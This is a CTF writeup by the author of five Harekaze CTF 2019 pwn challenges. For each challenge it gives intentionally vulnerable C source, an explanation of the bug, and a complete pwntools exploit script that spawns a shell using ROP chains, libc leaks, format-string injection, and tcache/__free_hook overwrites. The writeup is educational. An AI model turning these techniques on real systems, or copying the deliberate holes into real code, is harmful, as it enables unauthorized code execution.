Harekaze CTF 2019 Writeup for pwn challenges
I created 5 pwn challenges. These are the intended solutions for them.
- Baby ROP [100 pts, 120 solves]
- Baby ROP 2 [200 pts, 81 solves]
- Login System [250 pts, 4 solves]
- Harekaze Note [300 pts, 9 solves]
- Ramen [400 pts, 2 solves]
Baby ROP [100 pts, 120 solves]
Source Code
// gcc -fno-stack-protector -o babyrop babyrop.c #include <stdio.h> #include <stdlib.h> char binsh[] = "/bin/sh"; int main(void) { char name[0x10]; system("echo -n \"What's your name? \""); scanf("%s", name); printf("Welcome to the Pwn World, %s!\n", name); return 0; }
Solution
You can tell this can be solved by ROP from the title. And SSP is disabled.
$ checksec babyrop [*] '/home/vagrant/ctf/harekazectf/2019/babyrop/babyrop' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Two pieces of important information, a pointer to "/bin/sh" and address of system
, are available. So we can simply call system("/bin/sh")
by poping "/bin/sh"'s address into rdi and calling system
in PLT.
#!/usr/bin/env python from pwn import * if len(sys.argv) == 1: s = process('./babyrop') else: s = remote('problem.harekaze.com', 20001) elf = ELF('./babyrop') pop_rdi = 0x400683 payload = '' payload += 'A' * 0x18 payload += p64(pop_rdi) + p64(elf.search('/bin/sh').next()) payload += p64(elf.symbols['system']) s.sendlineafter("What's your name? ", payload) s.interactive()
Baby ROP 2 [200 pts, 81 solves]
Source Code
// gcc -fno-stack-protector -o babyrop2 babyrop2.c #include <stdio.h> #include <unistd.h> int main(void) { setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0); char name[0x10]; printf("What's your name? "); int len = read(0, name, 0x100); name[len - 1] = '\0'; printf("Welcome to the Pwn World again, %s!\n", name); return 0; }
Solution
SSP is disabled.
$ checksec babyrop2 [*] '/home/vagrant/ctf/harekazectf/2019/babyrop2/babyrop2' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
Address of system
and a pointer to "/bin/sh" aren't available at this time, but we can solve it by the following steps:
- Set
rbp
to an address in .bss segment by overwriting the previous value ofrbp
stored in stack - Leak libc address by
printf(read's GOT address)
- Set
rsi
to the address + 8 which is set on Step 1 - Return to the main function right before calling
read
so thatread(0, bss address, *)
will be executed - Send another ROP chain which executes
system("/bin/sh")
by using the leaked libc address leave
in the main function will be called and execute the ROP chain in .bss segment- We are on the shell
Several people asked me that printf(printf's got)
printed nothing. It's expected behavior since the address of printf ends with 0x00.
#!/usr/bin/env python from pwn import * if len(sys.argv) == 1: s = process('./babyrop2') else: s = remote('problem.harekaze.com', 20005) elf = ELF('./babyrop2') libc = ELF('./libc.so.6') pop_rdi = 0x400733 pop_rsi_r15 = 0x400731 read = 0x400695 buf_addr = elf.bss(0x500) payload = '' payload += 'A' * 0x20 payload += p64(buf_addr - 8) payload += p64(pop_rdi) + p64(elf.got['read']) payload += p64(elf.plt['printf']) payload += p64(pop_rsi_r15) + p64(buf_addr) + p64(0) payload += p64(read) s.sendlineafter("What's your name? ", payload) s.recvline() libc_base = u64(s.recv(6).ljust(8, '\0')) - libc.symbols['read'] log.info('libc base: %#x' % libc_base) payload2 = '' payload2 += p64(pop_rdi) + p64(buf_addr + 0x18) payload2 += p64(libc_base + libc.symbols['system']) payload2 += '/bin/sh\0' s.send(payload2) s.interactive()
Login System [250 pts, 4 solves]
Source Code
// gcc -o login login.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> int getnline(char *buf, size_t n) { for (int i = 0; i < n; i++) { if (read(0, &buf[i], 1) != 1) { exit(1); } if (buf[i] == '\n') { buf[i] = '\0'; return i; } } return n; } int main(void) { char csets[0x50], format[0x55], password[0x50], buf[0x50]; size_t n; setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); // removed this line during the context due to connection issue // alarm(300); start: puts("Create an account first."); printf("# of charsets: "); scanf("%lu", &n); getchar(); if (n > 0x4f) { puts("Too big"); goto start; } printf("charsets: "); getnline(csets, n); sprintf(format, "%%79[%s]", csets); printf("password: "); int result = scanf(format, password); getchar(); if (result != 1) { puts("Invalid password"); goto start; } puts("Account created. Please input password again to log in."); printf("password: "); getnline(buf, 0x4f); if (strcmp(password, buf) != 0) { puts("Incorrect"); goto start; } puts("Successfully logged in."); puts("bye."); return 0; }
Solution
The program reads password with scanf("%79[" + csets + "]", password)
. If csets is A]%s
, the format will be %79[A]%s]
and we can overwrite values on arbitrary address. Now, we need to know the addresses of libc and stack in order to overwrite the return address with one gadget RCE. Fortunately, there is a pointer to return address in stack, so we need only libc address.
csets
can include address which is already in stack by filling until it. e.g. by inputting 'A' * 0x10
, csets
will be 'A' * 0x10 + first 6 bytes of libc address
(actually, it's not libc address, but an address near it). We can know the set of bytes of the address by trying \x01
~\xff
as password and also the order of it by increasing the length of input.
For example,
- Get
[0x13, 0x3f, 0x7a, 0x7f, 0x98, 0xb7]
by inputting'A' * 0x10
- Get
[0x13, 0x3f, 0x7a, 0x7f, 0xb7]
by inputting'A' * 0x11
- Get
[0x13, 0x3f, 0x7f, 0xb7]
by inputting'A' * 0x12
- Get
[0x3f, 0x7f, 0xb7]
by inputting'A' * 0x13
- Get
[0x7f, 0xb7]
by inputting'A' * 0x14
- Get
[0x7f]
by inputting'A' * 0x15
then, the address is determined to be 0x7fb73f137a98
.
Overwrite the return address with one gadget RCE by using the leaked libc address and get shell.
#!/usr/bin/env python from pwn import * def check(byte, offset): s.sendlineafter('# of charsets: ', str(offset)) s.sendafter('charsets: ', 'A' * (offset)) s.sendafter('password: ', chr(byte)) res = s.recv(8, timeout = 0.1) if res == '': s.send('\0') s.sendlineafter('password: ', 'A') return True else: return False def leak(offset): bset = set() p = log.progress('Leaking address') for b in range(0x100): p.status(hex(b)) if b == 0x41: continue if check(b, offset): bset.add(b) address = 0 for i in range(6): for b in bset: if not check(b, offset + i + 1): bset.remove(b) address += b << i * 8 break p.success(hex(address)) return address if len(sys.argv) == 1: s = process('./login') else: s = remote('problem.harekaze.com', 20002) libc_base = leak(0x10) - 0x61aa98 log.info('libc base: %#x' % libc_base) payload = 'A]%11$llu' s.sendlineafter('# of charsets: ', str(len(payload))) s.sendafter('charsets: ', payload) one_gadgets = [0x4f2c5, 0x4f322, 0x10a38c] s.sendlineafter('password: ', 'A' + str(libc_base + one_gadgets[0])) s.sendlineafter('# of charsets: ', '2') s.sendlineafter('charsets: ', 'A') s.sendlineafter('password: ', 'A') s.sendlineafter('password: ', 'A') s.recvuntil('bye.\n') s.interactive()
Harekaze Note [300 pts, 9 solves]
Source Code
// gcc -o note note.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <signal.h> void timeout() { puts("time out!"); exit(-1); } typedef struct Note { char title[0x10]; struct Note *prev; struct Note *next; char *content; } Note; Note head; int size; void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); signal(SIGALRM, timeout); alarm(60); head.prev = &head; head.next = &head; } void getnline(char *buf, int size) { int i; for (i = 0; i < size; i++) { if (read(0, &buf[i], 1) != 1) { exit(-1); } else if (buf[i] == '\n') { buf[i] = '\0'; break; } } buf[size - 1] = '\0'; } int getint() { char buf[0x20]; getnline(buf, 0x20); return atoi(buf); } int menu() { puts("1. Create note"); puts("2. Write content"); puts("3. Show content"); puts("4. Delete note"); printf("Choice: "); return getint(); } void create_note() { if (size >= 0x50) { puts("Too many notes"); } Note *note = malloc(sizeof(Note)); printf("Title: "); getnline(note->title, 0x10); note->next = &head; note->prev = head.prev; head.prev->next = note; head.prev = note; size++; } Note *find_note(char *title) { for (Note *p = head.next; p != &head; p = p->next) { if (strcmp(title, p->title) == 0) { return p; } } puts("No such a note with the title"); return NULL; } void write_content() { char title[0x10]; printf("Title of note to write content: "); getnline(title, 0x10); Note *note = find_note(title); if (note == NULL) { return; } if (note->content != NULL) { puts("You have already written content"); return; } printf("Size of content: "); int size = getint(); if (size <= 0 || size > 0x50) { puts("Too big"); return; } note->content = malloc(size); printf("Content: "); getnline(note->content, size); } void show_content() { char title[0x10]; printf("Title of note to show content: "); getnline(title, 0x10); Note *note = find_note(title); if (note == NULL) { return; } if (note->content) { puts(note->content); } } void delete_note() { char title[0x10]; printf("Title of note to delete: "); getnline(title, 0x10); Note *note = find_note(title); if (note == NULL) { return; } note->prev->next = note->next; note->next->prev = note->prev; free(note->content); free(note); size--; } int main(void) { initialize(); for (;;) { switch (menu()) { case 1: create_note(); break; case 2: write_content(); break; case 3: show_content(); break; case 4: delete_note(); break; default: puts("Invalid choice"); } } return 0; }
Solution
Commands:
- Create note: Input title and insert a new note into the last of list.
content
is uninitialized. - Write content: Allocate heap memory with given size and input content into it. The input is null-terminated.
- Show content: If a note with given title is found, show its content
- Delete note: If a note with given title is found,
free
its content and itself in order.
There is a UAF vulnerability because content
is uninitialized. By creating a note after deleting a note with content, we can leak address with "Show content" and double free with "Delete note". However, double free in tcache is prohibited from libc-2.29.
First, leak addresses, heap address from tcache list, address of elf file from the pointer to Note head
, and libc address from read's GOT.
Next, overwrite linked list of tcache to point __free_hook
by fastbins dup. malloc
returns the pointer to __free_hook
because the size of chunk isn't check in tcache. We can call system("/bin/sh")
by writing system
address to __free_hook
.
#!/usr/bin/env python from pwn import * def create(title): s.sendlineafter('Choice: ', '1') s.sendlineafter('Title: ', title) def write(title, size, content): s.sendlineafter('Choice: ', '2') s.sendlineafter('content: ', title) s.sendlineafter('content: ', str(size)) s.sendlineafter('Content: ', content) def show(title): s.sendlineafter('Choice: ', '3') s.sendlineafter('content: ', title) return s.recvline(False) def delete(title): s.sendlineafter('Choice: ', '4') s.sendlineafter('delete: ', title) if len(sys.argv) == 1: s = process('./note') else: s = remote('problem.harekaze.com', 20003) elf = ELF('./note') libc = ELF('./libc.so.6') create('A') create('B') write('A', 1, 'A') write('B', 1, 'B') delete('B') delete('A') create('A') heap_addr = u64(show('A').ljust(8, '\0')) log.info('heap address: %#x' % heap_addr) create('B') create('C') write('C', 0x28, 'A' * 0x20 + p64(heap_addr - 0x70)) delete('C') create('C') create('D') text_base = u64(show('D').ljust(8, '\0')) - 0x4080 log.info('text base: %#x' % text_base) create('E') write('E', 0x28, 'A' * 0x20 + p64(text_base + elf.got['read'])) delete('E') create('E') create('F') libc_base = u64(show('F').ljust(8, '\0')) - libc.symbols['read'] log.info('libc base: %#x' % libc_base) for i in range(9): create(str(i)) write(str(i), 0x38, 'A') for i in range(9): delete(str(i)) for i in range(7): create(str(i)) create('8') create('7') delete('7') create('7') for i in range(7): create('0' + str(i)) write('0' + str(i), 0x38, 'A') for i in range(9, 14): create(str(i)) write('9', 0x38, p64(libc_base + libc.symbols['__free_hook'])) write('10', 0x38, 'A') write('11', 0x38, 'A') write('12', 0x38, p64(libc_base + libc.symbols['system'])) write('13', 8, '/bin/sh') delete('13') s.interactive()
Ramen [400 pts, 2 solves]
Source Code
// gcc -o ramen ramen.c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #include <string.h> #define DEFAULT_SIZE 0x08 #define MIN_SIZE 0x02 #define MAX_SIZE 0x20 #define FLAVORS 5 #define FLAVOR_MAX_LEN 0x10 #define TOPPINGS_LEN 0x20 #define LENGTH(q) (((q)->size + (q)->tail - (q)->head) % (q)->size) void timeout() { puts("time out!"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); signal(SIGALRM, timeout); alarm(60); } void getnline(char *buf, int size) { int len = read(0, buf, size - 1); if (buf[len - 1] == '\n') { buf[len - 1] = '\0'; } buf[len] = '\0'; } int getint() { char buf[0x20]; getnline(buf, 0x20); return atoi(buf); } int menu() { puts("1. Order Ramen"); puts("2. Serve Ramen"); puts("3. Increase the number of seats"); printf("Choice: "); return getint(); } int next_power_of_two(int n) { int ret = 1; while (ret < n) { ret <<= 1; } return ret; } char flavors[FLAVORS][FLAVOR_MAX_LEN] = { "Soy Sauce", "Salt", "Miso", "Chicken", "Tonkotu" }; int ramen_menu() { for (int i = 0; i < FLAVORS; i++) { printf("%d. %s Ramen\n", i + 1, flavors[i]); } printf("Choice: "); return getint(); } typedef struct { long long eggs; long long porks; long long bamboo_shoots; char name[FLAVOR_MAX_LEN]; char *others; } Ramen; typedef struct { Ramen *buf; int head; int tail; int size; } Orders; void init_orders(Orders *orders) { orders->buf = calloc(DEFAULT_SIZE, sizeof(Ramen)); orders->head = 0; orders->tail = 0; orders->size = DEFAULT_SIZE; } void shrink_buf(Orders *orders, int new_size) { int head = orders->head; int tail = orders->tail; int size = orders->size; if (tail < head) { int n = size - new_size; for (int i = head; i < size; i++) { orders->buf[i - n] = orders->buf[i]; } orders->head -= n; } else if (head >= new_size) { for (int i = head; i < tail; i++) { orders->buf[i - head] = orders->buf[i]; } orders->tail -= orders->head; orders->head = 0; } else if (tail >= new_size) { for (int i = new_size; i < tail; i++) { orders->buf[i - new_size] = orders->buf[i]; } orders->tail -= new_size; } orders->buf = realloc(orders->buf, sizeof(Ramen) * new_size); orders->size = new_size; } void expand_buf(Orders *orders, int new_size) { int head = orders->head; int tail = orders->tail; int size = orders->size; orders->buf = realloc(orders->buf, sizeof(Ramen) * new_size); orders->size = new_size; if (head <= tail) { // Nop } else if (tail < size - head) { for (int i = 0; i < tail; i++) { orders->buf[i + size] = orders->buf[i]; } orders->tail += size; } else { int n = new_size - size; for (int i = head; i < size; i++) { orders->buf[i + n] = orders->buf[i]; } orders->head += n; } } void order_ramen(Orders *orders) { if (LENGTH(orders) == orders->size - 1) { puts("Seats are full."); return; } int choice = ramen_menu(); if (choice < 1 || choice > FLAVORS) { puts("Invalid choice."); return; } Ramen ramen; memset(ramen.name, 0, FLAVOR_MAX_LEN); strcpy(ramen.name, flavors[choice - 1]); printf("How many eggs? "); ramen.eggs = getint(); printf("How many grilled pork? "); ramen.porks = getint(); printf("How many bamboo shoots? "); ramen.bamboo_shoots = getint(); printf("If you want other toppings, put them down: "); ramen.others = malloc(TOPPINGS_LEN); memset(ramen.others, 0, TOPPINGS_LEN); getnline(ramen.others, TOPPINGS_LEN); orders->buf[orders->tail] = ramen; orders->tail = (orders->tail + 1) % orders->size; puts("Done."); } void serve_ramen(Orders *orders) { if (orders->head == orders->tail) { puts("No order remains."); return; } Ramen *ramen = &orders->buf[orders->head]; orders->head = (orders->head + 1) % orders->size; printf("Serving %s Ramen...\n", ramen->name); printf("Eggs: %d\n", (int)ramen->eggs); printf("Grilled pork: %d\n", (int)ramen->porks); printf("Bamboo shoots: %d\n", (int)ramen->bamboo_shoots); printf("Other toppings: %s\n", ramen->others); free(ramen->others); puts("Done."); } void increase_number(Orders *orders) { printf("Number of seats: "); int num = getint() + 1; if (num < MIN_SIZE || num > MAX_SIZE) { puts("Invalid input."); return; } int size = next_power_of_two(num); if (num < orders->size) { if (num <= LENGTH(orders)) { printf("Less than the number of remaining orders."); return; } shrink_buf(orders, size); } else { expand_buf(orders, size); } puts("Done."); } int main(void) { Orders orders; initialize(); init_orders(&orders); puts("Welcome to Harekaze Ramen Shop!!"); for (;;) { switch (menu()) { case 1: order_ramen(&orders); break; case 2: serve_ramen(&orders); break; case 3: increase_number(&orders); break; defalut: puts("Invalid choice."); } } return 0; }
Solution
The queue has functionalities to expand and shrink its size. It works like the following: ("H", "T", "o", and "." represent head, tail, element, and empty respectively. The actual size of queue is a power of 2)
Expand queue
- Do nothing
[H o o o o o T . ] ↓ [H o o o o o T . . . . . . ]
- Move tail side if it's less than head side
[o o T . H o o o] ↓ [. . . . H o o o o o T . .]
- Move head side if it's less than tail side
[o o o o T . . H o] ↓ [o o o o T . . . . . H o]
Shrink queue
- Move head side to tail if
tail < head
[o o T . . . . . H o o o o] ↓ [o o T . . H o o o o]
- Move all elements if
new_size <= head
[. . . . . . H o o T .] ↓ [H o o T .]
- Move tail side if
new_size <= tail
[. . . H o o o T] ↓ [o T . H o o]
- Do nothing
[. . H o o o T . . . . .] ↓ [. . H o o o T .]
2 * old_size <= new_size
should be true when expanding queue, but expand_buf
can be called with old_size == new_size
. tail
goes out of the allocated buffer when expand_buf
is called with old_size == new_size
. The values outside of allocated chunk are copied as a queue element by shrinking queue after that.
[o T . . . H] ↓ [. . . . . H] o T ↓ copied [H o T .]
By freeing the next chunk which is big enough, address to bins in libc is stored in it. And it's copied as a queue element by shrinking queue. Now we know libc address.
Next, create the following condition again and by poping elements,
[. . . . . H] o T ↓ [H o o o o o] o T ↓ [. H o o o o] o T
We can free
forever → tcache dup. At last, overwrite __free_hook
with system
and call system("/bin/sh")
.
#!/usr/bin/env python from pwn import * def order(toppings='A', eggs=0, porks=0, bamboo_shoots=0, flavor=1): s.sendlineafter('Choice: ', '1') s.sendlineafter('Choice: ', str(flavor)) s.sendlineafter('eggs? ', str(eggs)) s.sendlineafter('pork? ', str(porks)) s.sendlineafter('shoots? ', str(bamboo_shoots)) s.sendafter('down: ', toppings) def serve(): s.sendlineafter('Choice: ', '2') s.recvuntil('Serving ') name = s.recvuntil(' ')[:-1] s.recvuntil('Eggs: ') eggs = int(s.recvline(False)) s.recvuntil('pork: ') porks = int(s.recvline(False)) s.recvuntil('shoots: ') bamboo_shoots = int(s.recvline(False)) s.recvuntil('toppings: ') toppings = s.recvline(False) return name, eggs, porks, bamboo_shoots, toppings def change(num): s.sendlineafter('Choice: ', '3') s.sendlineafter('seats: ', str(num)) if len(sys.argv) == 1: s = process('./ramen') else: s = remote('problem.harekaze.com', 20004) libc = ELF('./libc.so.6') change(0x1f) for i in range(6): order() change(7) order() serve() order() serve() order('A', 0, 0x4b1) change(7) for i in range(5): serve() change(3) serve() libc_base = u64(serve()[0].ljust(8, '\0')) - 0x3ebca0 log.info('libc base: %#x' % libc_base) change(7) for i in range(0xd): order() serve() order() change(7) for i in range(3): serve() change(0xf) order(p64(libc_base + libc.symbols['__free_hook'])) order('/bin/sh\0') order(p64(libc_base + libc.symbols['system'])) serve() s.interactive()